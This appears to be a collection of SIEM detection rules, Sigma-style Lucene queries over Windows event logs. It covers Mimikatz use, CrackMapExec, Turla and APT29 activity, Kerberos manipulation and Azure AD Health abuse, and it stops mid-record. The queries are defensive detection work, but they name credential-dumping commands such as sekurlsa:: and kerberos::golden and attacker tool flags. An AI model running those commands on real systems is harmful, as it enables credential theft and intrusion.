{"description": "This detection method points out highly relevant Antivirus events", "enabled": false, "false_positives": ["Some software piracy tools (key generators, cracks) are classified as hack tools"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "8ba9f2a5-a1be-00d1-a879-e89de85029d1", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Relevant Anti-Virus Event", "query": "(winlog.channel:\"Application\" AND (*HTool\\-* OR *Hacktool* OR *ASP\\/Backdoor* OR *JSP\\/Backdoor* OR *PHP\\/Backdoor* OR *Backdoor.ASP* OR *Backdoor.JSP* OR *Backdoor.PHP* OR *Webshell* OR *Portscan* OR *Mimikatz* OR *.WinCred.* OR *PlugX* OR *Korplug* OR *Pwdump* OR *Chopper* OR *WmiExec* OR *Xscan* OR *Clearlog* OR *ASPXSpy* OR *Ransom* OR *Filecoder* OR *CobaltStrike*) AND (NOT ((*Keygen* OR *Crack* OR *anti_ransomware_service.exe* OR *cyber\\-protect\\-service.exe*) OR (Level:\"4\"))))", "meta": {"from": "1m"}, "severity": "high", "tags": [], "to": "now", "type": "query", "threat": [], "version": 1, "references": ["", "", ""], "timestamp_override": "event.ingested", "author": ["Florian Roth", "Arnim Rupp"], "license": ""}
{"description": "This detection uses azureactivity logs (Administrative category) to identify the creation or update of a server instance in an Azure AD Hybrid health AD FS service.\nA threat actor can create a new AD Health ADFS service and create a fake server instance to spoof AD FS signing logs. There is no need to compromise an on-prem AD FS server.\nThis can be done programmatically via HTTP requests to Azure.\n", "enabled": false, "false_positives": ["Legitimate AD FS servers added to an AAD Health AD FS service instance"], "filters": [], "from": "now-360s", "immutable": false, "index": ["apm-*-transaction", "auditbeat-*", "endgame-*", "filebeat-*", "packetbeat-*", "winlogbeat-*", "logs-*"], "interval": "5m", "rule_id": "b13af6e3-9fe0-4665-4051-7d6c7d38398e", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Azure Active Directory Hybrid Health AD FS New Server", "query": "(CategoryValue:\"Administrative\" AND ResourceProviderValue:\"Microsoft.ADHybridHealthService\" AND ResourceId:*AdFederationService* AND OperationNameValue:\"Microsoft.ADHybridHealthService\\/services\\/servicemembers\\/action\")", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Defense Evasion", "T1578"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1578", "name": "Modify Cloud Compute Infrastructure", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Roberto Rodriguez (Cyb3rWard0g)", "OTR (Open Threat Research)", "MSTIC"], "license": ""}
{"description": "This detection uses azureactivity logs (Administrative category) to identify the deletion of an Azure AD Hybrid health AD FS service instance in a tenant.\nA threat actor can create a new AD Health ADFS service and create a fake server to spoof AD FS signing logs.\nThe health AD FS service can then be deleted after it is not longer needed via HTTP requests to Azure.\n", "enabled": false, "false_positives": ["Legitimate AAD Health AD FS service instances being deleted in a tenant"], "filters": [], "from": "now-360s", "immutable": false, "index": ["apm-*-transaction", "auditbeat-*", "endgame-*", "filebeat-*", "packetbeat-*", "winlogbeat-*", "logs-*"], "interval": "5m", "rule_id": "ecbcb3fc-f468-1e26-d2e5-6a9d16a730b0", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Azure Active Directory Hybrid Health AD FS Service Delete", "query": "(CategoryValue:\"Administrative\" AND ResourceProviderValue:\"Microsoft.ADHybridHealthService\" AND ResourceId:*AdFederationService* AND OperationNameValue:\"Microsoft.ADHybridHealthService\\/services\\/delete\")", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Defense Evasion", "T1578"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1578", "name": "Modify Cloud Compute Infrastructure", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Roberto Rodriguez (Cyb3rWard0g)", "OTR (Open Threat Research)", "MSTIC"], "license": ""}
{"description": "This detection uses Windows security events to detect suspicious access attempts to the registry key of Azure AD Health monitoring agent.\nThis detection requires an access control entry (ACE) on the system access control list (SACL) of the following securable object HKLM\\SOFTWARE\\Microsoft\\Microsoft Online\\Reporting\\MonitoringAgent.\n", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "6596b4d5-e2cc-9cf5-d602-5f9633d8378b", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Azure AD Health Monitoring Agent Registry Keys Access", "query": "(winlog.channel:\"Security\" AND (winlog.event_id:(\"4656\" OR \"4663\") AND winlog.event_data.ObjectType:\"Key\" AND winlog.event_data.ObjectName:\"\\\\REGISTRY\\\\MACHINE\\\\SOFTWARE\\\\Microsoft\\\\Microsoft\\ Online\\\\Reporting\\\\MonitoringAgent\") AND (NOT (winlog.event_data.ProcessName:(*Microsoft.Identity.Health.Adfs.DiagnosticsAgent.exe* OR *Microsoft.Identity.Health.Adfs.InsightsService.exe* OR *Microsoft.Identity.Health.Adfs.MonitoringAgent.Startup.exe* OR *Microsoft.Identity.Health.Adfs.PshSurrogate.exe* OR *Microsoft.Identity.Health.Common.Clients.ResourceMonitor.exe*))))", "meta": {"from": "1m"}, "severity": "medium", "tags": ["T1012"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0007", "reference": "", "name": "Discovery"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1012", "name": "Query Registry", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["Roberto Rodriguez (Cyb3rWard0g)", "OTR (Open Threat Research)", "MSTIC"], "license": ""}
{"description": "This detection uses Windows security events to detect suspicious access attempts to the registry key values and sub-keys of Azure AD Health service agents (e.g AD FS).\nInformation from AD Health service agents can be used to potentially abuse some of the features provided by those services in the cloud (e.g. Federation).\nThis detection requires an access control entry (ACE) on the system access control list (SACL) of the following securable object: HKLM:\\SOFTWARE\\Microsoft\\ADHealthAgent.\nMake sure you set the SACL to propagate to its sub-keys.\n", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "39a18c29-c6ae-f015-4865-45d83095bfa4", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Azure AD Health Service Agents Registry Keys Access", "query": "(winlog.channel:\"Security\" AND (winlog.event_id:(\"4656\" OR \"4663\") AND winlog.event_data.ObjectType:\"Key\" AND winlog.event_data.ObjectName:\"\\\\REGISTRY\\\\MACHINE\\\\SOFTWARE\\\\Microsoft\\\\ADHealthAgent\") AND (NOT (winlog.event_data.ProcessName:(*Microsoft.Identity.Health.Adfs.DiagnosticsAgent.exe* OR *Microsoft.Identity.Health.Adfs.InsightsService.exe* OR *Microsoft.Identity.Health.Adfs.MonitoringAgent.Startup.exe* OR *Microsoft.Identity.Health.Adfs.PshSurrogate.exe* OR *Microsoft.Identity.Health.Common.Clients.ResourceMonitor.exe*))))", "meta": {"from": "1m"}, "severity": "medium", "tags": ["T1012"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0007", "reference": "", "name": "Discovery"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1012", "name": "Query Registry", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["Roberto Rodriguez (Cyb3rWard0g)", "OTR (Open Threat Research)", "MSTIC"], "license": ""}
{"description": "This event is generated when an authenticated user who is not allowed to log on remotely attempts to connect to this computer through Remote Desktop. Often, this event can be generated by attackers when searching for available windows servers in the network.", "enabled": false, "false_positives": ["Valid user was not added to RDP group"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "31c7ff27-955e-4b94-3d4b-21484e374d8f", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Denied Access To Remote Desktop", "query": "(winlog.channel:\"Security\" AND winlog.event_id:\"4825\")", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Lateral Movement", "T1021"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0008", "reference": "", "name": "Lateral Movement"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1021", "name": "Remote Services", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Pushkarev Dmitry"], "license": ""}
{"description": "This event was observed on the target host during lateral movement. The process name within the event contains the process spawned post compromise. Account Name within the event contains the compromised user account name. This event should to be correlated with 4624 and 4688 for further intrusion context.", "enabled": false, "false_positives": ["legal admin action"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "f1cd3b71-efd5-263f-1a0f-58aaf0d9efb3", "language": "lucene", "max_signals": 100, "risk_score": 5, "name": "Lateral Movement Indicator ConDrv", "query": "(winlog.channel:\"Security\" AND winlog.event_id:\"4674\" AND winlog.event_data.ObjectServer:\"Security\" AND winlog.event_data.ObjectType:\"File\" AND winlog.event_data.ObjectName:\"\\\\Device\\\\ConDrv\")", "meta": {"from": "1m"}, "severity": "low", "tags": ["Lateral Movement", "T1021", "T1059"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0002", "reference": "", "name": "Execution"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1059", "name": "Command and Scripting Interpreter", "reference": ""}]}, {"tactic": {"id": "TA0008", "reference": "", "name": "Lateral Movement"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1021", "name": "Remote Services", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["Janantha Marasinghe"], "license": ""}
{"description": "This events that are generated when using the hacktool Ruler by Sensepost", "enabled": false, "false_positives": ["Go utilities that use staaldraad awesome NTLM library"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "52fb34ad-3929-dfb6-c6d2-4f29ac5837e6", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Hacktool Ruler", "query": "(winlog.channel:\"Security\" AND ((winlog.event_id:\"4776\" AND Workstation:\"RULER\") OR (winlog.event_id:(\"4624\" OR \"4625\") AND source.domain:\"RULER\")))", "meta": {"from": "1m"}, "severity": "high", "tags": ["T1059", "T1087", "T1114", "T1550"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0002", "reference": "", "name": "Execution"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1059", "name": "Command and Scripting Interpreter", "reference": ""}]}, {"tactic": {"id": "TA0007", "reference": "", "name": "Discovery"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1087", "name": "Account Discovery", "reference": ""}]}], "version": 1, "references": ["", "", "", "", ""], "timestamp_override": "event.ingested", "author": ["Florian Roth"], "license": ""}
{"description": "This is an unusual method to download files. It starts a browser headless and downloads a file from a location. This can be used by threat actors to download files.", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "f6416bab-6b68-499a-427f-b04b6b287426", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "File Download with Headless Browser", "query": "(process.executable:(*\\\\msedge.exe OR *\\\\chrome.exe) AND process.command_line:*\\-\\-headless* AND process.command_line:*dump\\-dom* AND process.command_line:*http*)", "meta": {"from": "1m"}, "severity": "high", "tags": ["T1105"], "to": "now", "type": "query", "threat": [], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Sreeman", "Florian Roth"], "license": ""}
{"description": "This method detects a service install of malicious services mentioned in Carbon Paper - Turla report by ESET", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "57309198-cc78-0923-a9fb-c7c338fd3b90", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Turla Service Install", "query": "(winlog.channel:\"System\" AND Provider_Name:\"Service\\ Control\\ Manager\" AND winlog.event_id:\"7045\" AND winlog.event_data.ServiceName:(\"srservice\" OR \"ipvpn\" OR \"hkmsvc\"))", "meta": {"from": "1m"}, "severity": "high", "tags": ["T1543"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0003", "reference": "", "name": "Persistence"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1543", "name": "Create or Modify System Process", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Florian Roth"], "license": ""}
{"description": "This method detects a service install of the malicious Microsoft Network Realtime Inspection Service service described in StoneDrill report by Kaspersky", "enabled": false, "false_positives": ["Unlikely"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "d8eed99c-1565-9baa-672a-41ac4b00842a", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "StoneDrill Service Install", "query": "(winlog.channel:\"System\" AND Provider_Name:\"Service\\ Control\\ Manager\" AND winlog.event_id:\"7045\" AND winlog.event_data.ServiceName:\"NtsSrv\" AND winlog.event_data.ImagePath:*\\ LocalService)", "meta": {"from": "1m"}, "severity": "high", "tags": ["T1543"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0003", "reference": "", "name": "Persistence"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1543", "name": "Create or Modify System Process", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Florian Roth"], "license": ""}
{"description": "This method detects a suspicious PowerShell command line combination as used by APT29 in a campaign against U.S. think tanks.", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "6d1974b3-d320-b6b8-c4c9-58b17748530b", "language": "lucene", "max_signals": 100, "risk_score": 95, "name": "APT29", "query": "(process.command_line:*\\-noni* AND process.command_line:*\\-ep* AND process.command_line:*bypass* AND process.command_line:*$*)", "meta": {"from": "1m"}, "severity": "critical", "tags": ["T1059"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0002", "reference": "", "name": "Execution"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1059", "name": "Command and Scripting Interpreter", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["Florian Roth"], "license": ""}
{"description": "This method detects malicious services mentioned in Turla PNG dropper report by NCC Group in November 2018", "enabled": false, "false_positives": ["Unlikely"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "330562be-8d5a-d0ed-0490-57ee0cb7a863", "language": "lucene", "max_signals": 100, "risk_score": 95, "name": "Turla PNG Dropper Service", "query": "(winlog.channel:\"System\" AND Provider_Name:\"Service\\ Control\\ Manager\" AND winlog.event_id:\"7045\" AND winlog.event_data.ServiceName:\"WerFaultSvc\")", "meta": {"from": "1m"}, "severity": "critical", "tags": ["T1543"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0003", "reference": "", "name": "Persistence"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1543", "name": "Create or Modify System Process", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Florian Roth"], "license": ""}
{"description": "This method detects mimikatz keywords in different Eventlogs (some of them only appear in older Mimikatz version that are however still used by different threat groups)", "enabled": false, "false_positives": ["Naughty administrators", "AV Signature updates", "Files with Mimikatz in their filename"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "3ba6ae25-af72-e567-de5c-c3e76b8d096e", "language": "lucene", "max_signals": 100, "risk_score": 95, "name": "Mimikatz Use", "query": "((*dpapi\\:\\:masterkey* OR *eo.oe.kiwi* OR *event\\:\\:clear* OR *event\\:\\:drop* OR *gentilkiwi.com* OR *kerberos\\:\\:golden* OR *kerberos\\:\\:ptc* OR *kerberos\\:\\:ptt* OR *kerberos\\:\\:tgt* OR *Kiwi\\ Legit\\ Printer* OR *lsadump\\:\\:* OR *mimidrv.sys* OR *\\\\mimilib.dll* OR *misc\\:\\:printnightmare* OR *misc\\:\\:shadowcopies* OR *misc\\:\\:skeleton* OR *privilege\\:\\:backup* OR *privilege\\:\\:debug* OR *privilege\\:\\:driver* OR *sekurlsa\\:\\:*) AND (NOT (winlog.event_id:\"15\")))", "meta": {"from": "1m"}, "severity": "critical", "tags": ["Credential Access", "Lateral Movement", "T1003", "T1003", "T1003", "T1003"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0006", "reference": "", "name": "Credential Access"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1003", "name": "OS Credential Dumping", "reference": ""}, {"id": "T1003", "name": "OS Credential Dumping", "reference": ""}, {"id": "T1003", "name": "OS Credential Dumping", "reference": ""}, {"id": "T1003", "name": "OS Credential Dumping", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Florian Roth (rule)", "David ANDRE (additional keywords)"], "license": ""}
{"description": "This method triggers on rare Kerberos Failure Codes caused by manipulations of Kerberos messages", "enabled": false, "false_positives": ["Faulty legacy applications"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "d5359a68-a200-02c0-8c6e-f1b39655fc44", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Kerberos Manipulation", "query": "(winlog.channel:\"Security\" AND winlog.event_id:(\"675\" OR \"4768\" OR \"4769\" OR \"4771\") AND winlog.event_data.FailureCode:(\"0x9\" OR \"0xA\" OR \"0xB\" OR \"0xF\" OR \"0x10\" OR \"0x11\" OR \"0x13\" OR \"0x14\" OR \"0x1A\" OR \"0x1F\" OR \"0x21\" OR \"0x22\" OR \"0x23\" OR \"0x24\" OR \"0x26\" OR \"0x27\" OR \"0x28\" OR \"0x29\" OR \"0x2C\" OR \"0x2D\" OR \"0x2E\" OR \"0x2F\" OR \"0x31\" OR \"0x32\" OR \"0x3E\" OR \"0x3F\" OR \"0x40\" OR \"0x41\" OR \"0x43\" OR \"0x44\"))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Credential Access", "T1212"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0006", "reference": "", "name": "Credential Access"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1212", "name": "Exploitation for Credential Access", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Florian Roth"], "license": ""}
{"description": "This method uses uncommon error codes on failed logons to determine suspicious activity and tampering with accounts that have been disabled or somehow restricted.", "enabled": false, "false_positives": ["User using a disabled account"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "6f0d4629-1bb4-2d2e-3046-a58b2266c705", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Account Tampering - Suspicious Failed Logon Reasons", "query": "(winlog.channel:\"Security\" AND (winlog.event_id:(\"4625\" OR \"4776\") AND winlog.event_data.Status:(\"0xC0000072\" OR \"0xC000006F\" OR \"0xC0000070\" OR \"0xC0000413\" OR \"0xC000018C\" OR \"0xC000015B\")) AND (NOT (winlog.event_data.SubjectUserSid:\"S\\-1\\-0\\-0\")))", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Defense Evasion", "Initial Access", "Privilege Escalation", "T1078"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0001", "reference": "", "name": "Initial Access"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1078", "name": "Valid Accounts", "reference": ""}]}, {"tactic": {"id": "TA0003", "reference": "", "name": "Persistence"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1078", "name": "Valid Accounts", "reference": ""}]}, {"tactic": {"id": "TA0004", "reference": "", "name": "Privilege Escalation"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1078", "name": "Valid Accounts", "reference": ""}]}, {"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1078", "name": "Valid Accounts", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["Florian Roth"], "license": ""}
{"description": "This rule detect common flag combinations used by CrackMapExec in order to detect its use even if the binary has been replaced.", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "3bade4c3-c4eb-92b7-ae50-8c51e2dd7b37", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "CrackMapExec Command Line Flags", "query": "((process.command_line:*\\ \\-M\\ pe_inject\\ * OR (process.command_line:*\\ \\-\\-local\\-auth* AND process.command_line:*\\ \\-u\\ * AND process.command_line:*\\ \\-x\\ *) OR (process.command_line:*\\ \\-\\-local\\-auth* AND process.command_line:*\\ \\-u\\ * AND process.command_line:*\\ \\-p\\ * AND process.command_line:*\\ \\-H\\ 'NTHASH'*) OR (process.command_line:*\\ mssql\\ * AND process.command_line:*\\ \\-u\\ * AND process.command_line:*\\ \\-p\\ * AND process.command_line:*\\ \\-M\\ * AND process.command_line:*\\ \\-d\\ *) OR (process.command_line:*\\ smb\\ * AND process.command_line:*\\ \\-u\\ * AND process.command_line:*\\ \\-H\\ * AND process.command_line:*\\ \\-M\\ * AND process.command_line:*\\ \\-o\\ *) OR (process.command_line:*\\ smb\\ * AND process.command_line:*\\ \\-u\\ * AND process.command_line:*\\ \\-p\\ * AND process.command_line:*\\ \\-\\-local\\-auth*)) OR (process.command_line:*\\ \\-\\-local\\-auth* AND process.command_line:*\\ \\-u\\ * AND process.command_line:*\\ \\-p\\ * AND process.command_line:*\\ 10.* AND process.command_line:*\\ 192.168.* AND process.command_line:*\\/24\\ *))", "meta": {"from": "1m"}, "severity": "high", "tags": [], "to": "now", "type": "query", "threat": [], "version": 1, "references": ["", "", "", ""], "timestamp_override": "event.ingested", "author": ["Florian Roth"], "license": ""}
{"description": "This rule detects a DHCP server error in which a specified Callout DLL (in registry) could not be loaded", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "adf6b48e-cb7f-22db-51bc-c6aaeda4127e", "language": "lucene", "max_signals": 100, "risk_score": 95, "name": "DHCP Server Error Failed Loading the CallOut DLL", "query": "(winlog.channel:\"System\" AND winlog.event_id:(\"1031\" OR \"1032\" OR \"1034\") AND Provider_Name:\"Microsoft\\-Windows\\-DHCP\\-Server\")", "meta": {"from": "1m"}, "severity": "critical", "tags": ["Defense Evasion", "T1574"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1574", "name": "Hijack Execution Flow", "reference": ""}]}], "version": 1, "references": ["", "(v=ws.10).aspx", "(v=vs.85).aspx"], "timestamp_override": "event.ingested", "author": ["Dimitrios Slamaris", "@atc_project (fix)"], "license": ""}
{"description": "This rule detects a DHCP server in which a specified Callout DLL (in registry) was loaded", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "e6950090-f058-a4cb-867d-7bb9a9db4f2a", "language": "lucene", "max_signals": 100, "risk_score": 95, "name": "DHCP Server Loaded the CallOut DLL", "query": "(winlog.channel:\"System\" AND winlog.event_id:\"1033\" AND Provider_Name:\"Microsoft\\-Windows\\-DHCP\\-Server\")", "meta": {"from": "1m"}, "severity": "critical", "tags": ["Defense Evasion", "T1574"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1574", "name": "Hijack Execution Flow", "reference": ""}]}], "version": 1, "references": ["", "(v=ws.10).aspx", "(v=vs.85).aspx"], "timestamp_override": "event.ingested", "author": ["Dimitrios Slamaris"], "license": ""}
{"description": "This rule detects a DNS server error in which a specified plugin DLL (in registry) could not be loaded", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "9769d20b-102f-23b1-7239-1d6efb701909", "language": "lucene", "max_signals": 100, "risk_score": 95, "name": "DNS Server Error Failed Loading the ServerLevelPluginDLL", "query": "(winlog.channel:\"DNS\\ Server\" AND winlog.event_id:(\"150\" OR \"770\"))", "meta": {"from": "1m"}, "severity": "critical", "tags": ["Defense Evasion", "T1574"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1574", "name": "Hijack Execution Flow", "reference": ""}]}], "version": 1, "references": ["", "(v=ws.10).aspx", ""], "timestamp_override": "event.ingested", "author": ["Florian Roth"], "license": ""}
{"description": "This rule detects a suspicious crash of the Microsoft Malware Protection Engine", "enabled": false, "false_positives": ["MsMpEng.exe can crash when C:\\ is full"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "2e954b6f-ad17-f23a-aecc-af82d22f622d", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Microsoft Malware Protection Engine Crash", "query": "(winlog.channel:\"Application\" AND ((Provider_Name:\"Application\\ Error\" AND winlog.event_id:\"1000\") OR (Provider_Name:\"Windows\\ Error\\ Reporting\" AND winlog.event_id:\"1001\")) AND (*MsMpEng.exe* AND *mpengine.dll*))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "T1211", "T1562"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1211", "name": "Exploitation for Defense Evasion", "reference": ""}, {"id": "T1562", "name": "Impair Defenses", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["Florian Roth"], "license": ""}
{"description": "This rule detects cor_enable_profiling and cor_profiler environment variables being set and configured.", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "387dfa98-c404-830b-a04c-a1436f75e9a0", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Enabling COR Profiler Environment Variables", "query": "(winlog.event_data.EventType:\"Setvalue\" AND winlog.event_data.TargetObject:(*\\\\COR_ENABLE_PROFILING OR *\\\\COR_PROFILER))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "Privilege Escalation", "T1574"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0003", "reference": "", "name": "Persistence"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1574", "name": "Hijack Execution Flow", "reference": ""}]}, {"tactic": {"id": "TA0004", "reference": "", "name": "Privilege Escalation"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1574", "name": "Hijack Execution Flow", "reference": ""}]}, {"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1574", "name": "Hijack Execution Flow", "reference": ""}]}], "version": 1, "references": ["", "", ""], "timestamp_override": "event.ingested", "author": ["Jose Rodriguez (@Cyb3rPandaH)", "OTR (Open Threat Research)"], "license": ""}
{"description": "This rule detects DLL injection and execution via LOLBAS - Tracker.exe", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "e54e7b96-2318-1d0d-e875-387b518df040", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "DLL Injection with Tracker.exe", "query": "(((process.executable.text:*\\\\tracker.exe OR winlog.event_data.Description:\"Tracker\") AND process.command_line.text:(*\\ \\/d\\ * OR *\\ \\/c\\ *)) AND (NOT ((process.parent.executable.text:*\\\\Msbuild\\\\Current\\\\Bin\\\\MSBuild.exe AND process.command_line.text:*\\\\VC\\\\Tools\\\\MSVC\\\\* AND process.command_line.text:*\\\\bin\\\\HostX86\\\\x64\\\\*))))", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Defense Evasion", "T1055"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1055", "name": "Process Injection", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Avneet Singh @v3t0_", "oscd.community"], "license": ""}
{"description": "This rule detects execution of a PowerShell code through the sqlps.exe utility, which is included in the standard set of utilities supplied with the MSSQL Server. Script blocks are not logged in this case, so this utility helps to bypass protection mechanisms based on the analysis of these logs.", "enabled": false, "false_positives": ["Direct PS command execution through SQLPS.exe is uncommon, childprocess sqlps.exe spawned by sqlagent.exe is a legitimate action."], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "e8463730-5aac-4dd6-50df-fe9df40d500e", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Detection of PowerShell Execution via Sqlps.exe", "query": "((process.executable:*\\\\sqlps.exe OR process.parent.executable:*\\\\sqlps.exe OR winlog.event_data.OriginalFileName:\"\\\\sqlps.exe\") AND (NOT (process.parent.executable:*\\\\sqlagent.exe)))", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Defense Evasion", "T1059", "T1127"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0002", "reference": "", "name": 